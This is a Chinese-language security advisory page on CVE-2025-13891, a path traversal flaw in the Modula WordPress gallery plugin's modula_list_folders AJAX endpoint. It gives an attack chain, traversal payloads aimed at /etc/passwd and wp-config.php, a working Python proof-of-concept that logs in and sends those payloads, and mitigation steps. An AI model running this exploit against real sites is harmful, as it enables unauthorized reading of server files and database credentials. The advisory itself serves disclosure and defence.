IPBUF安全漏洞报告
English
CVE-2025-13891 CVSS 6.5 中危

CVE-2025-13891 WordPress Modula插件路径遍历漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-13891
漏洞类型
路径遍历
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Image Gallery – Photo Grid & Video Gallery (Modula) WordPress插件

相关标签

CVE-2025-13891路径遍历WordPress插件漏洞ModulaAJAX漏洞信息泄露权限绕过中危漏洞

漏洞概述

CVE-2025-13891是WordPress平台上一款广受欢迎的图像画廊插件Image Gallery – Photo Grid & Video Gallery(也称为Modula Best Grid Gallery)中存在的路径遍历安全漏洞。该插件为WordPress网站提供了灵活的图像和视频画廊功能,支持多种布局和展示方式,在全球范围内拥有大量安装用户。漏洞存在于插件的modula_list_folders AJAX端点中,该端点负责处理用户请求列出指定目录下的文件列表。问题在于该端点在设计上虽然对用户权限进行了基本验证,要求调用者具备Author级别或更高的权限,并且拥有upload_files和edit_posts能力,但这种权限检查机制并不足以防止路径遍历攻击的发生。攻击者可以利用这一漏洞,通过精心构造的特殊路径字符串,突破应用程序设置的预期目录范围,访问服务器文件系统上本不应该被访问的任意目录和文件。这种漏洞的危险性在于,即使是非管理员账户,只要具备基本的作者权限,就能够利用这一缺陷进行服务器敏感文件的枚举和读取,可能导致配置文件、数据库凭证、其他插件的源代码等敏感信息泄露。

技术细节

该路径遍历漏洞的核心问题在于modula_list_folders端点缺少对用户输入路径的严格验证和基础目录限制机制。在正常的安全设计实践中,应用程序应当对用户提供的任何路径参数进行规范化处理,并验证其始终位于预设的安全目录(chroot)范围内。然而,当前实现中并未实现这一关键的安全检查步骤。攻击者可以通过在路径参数中插入目录遍历序列(如../)来逃离预期的工作目录。例如,攻击者可能提交类似../../../etc/的路径请求,应用程序会直接使用这一输入进行目录列表操作,而不会验证其是否超出了允许的访问范围。此外,该端点还缺少对符号链接的安全处理,可能允许访问通过符号链接指向的敏感目录。从CVSS评分6.5(AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)可以看出,这是一个通过网络即可发起、认证要求低、不需要用户交互、但可能造成高机密性影响的漏洞。攻击者利用此漏洞可以读取任意系统文件,包括但不限于/etc/passwd、wp-config.php等敏感配置文件。

攻击链分析

STEP 1
1
攻击者获取目标WordPress网站的Author级别账户(通过社会工程、凭据填充或利用其他漏洞)
STEP 2
2
攻击者构造恶意请求,访问wp-admin/admin-ajax.php端点,设置action参数为modula_list_folders
STEP 3
3
在modula参数中注入路径遍历载荷,如../../../etc/或../../../wp-config.php/
STEP 4
4
服务器端应用程序处理请求时,未验证路径是否在允许的目录范围内,直接执行目录列表操作
STEP 5
5
攻击者接收响应,获取目标目录的文件列表或文件内容
STEP 6
6
利用获取的敏感信息(如数据库凭据、API密钥等)进行进一步攻击或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13891 Path Traversal PoC # Target: WordPress site with Modula plugin < 2.13.3 # Endpoint: /wp-admin/admin-ajax.php def exploit_path_traversal(target_url, username, password, file_path='../../../etc/'): """ Exploit the path traversal vulnerability in modula_list_folders AJAX endpoint Args: target_url: Base URL of the WordPress site username: WordPress user with Author+ role password: User password file_path: Path to traverse (default: ../../../etc/) Returns: Server response containing directory listing """ # Login to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } # Perform login resp = session.post(login_url, data=login_data, verify=False) if 'wordpress_logged_in' not in session.cookies.get_dict(): print('[-] Login failed!') return None print('[+] Login successful!') # Exploit path traversal via modula_list_folders endpoint exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'modula_list_folders', 'modula': file_path # Path traversal payload } print(f'[*] Sending path traversal request: {file_path}') response = session.post(exploit_url, data=exploit_data, verify=False) return response.text if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') print(f'Example: python {sys.argv[0]} http://example.com admin password') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] result = exploit_path_traversal(target, user, pwd) if result: print('\n[+] Response:') print(result)

影响范围

Modula Best Grid Gallery < 2.13.3

防御指南

临时缓解措施
在官方安全补丁发布之前,建议采取以下临时缓解措施:首先,限制Author及以上级别用户的注册和权限分配,仅授予可信用户此类权限;其次,通过Web服务器配置(如Nginx的location规则或Apache的.htaccess规则)限制对wp-admin/admin-ajax.php端点的访问来源,仅允许必要的IP地址访问;再次,部署Web应用防火墙规则识别并阻止包含../序列的请求参数;最后,考虑暂时禁用Modula插件的目录列表功能,或使用第三方安全插件增加额外的访问控制层。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表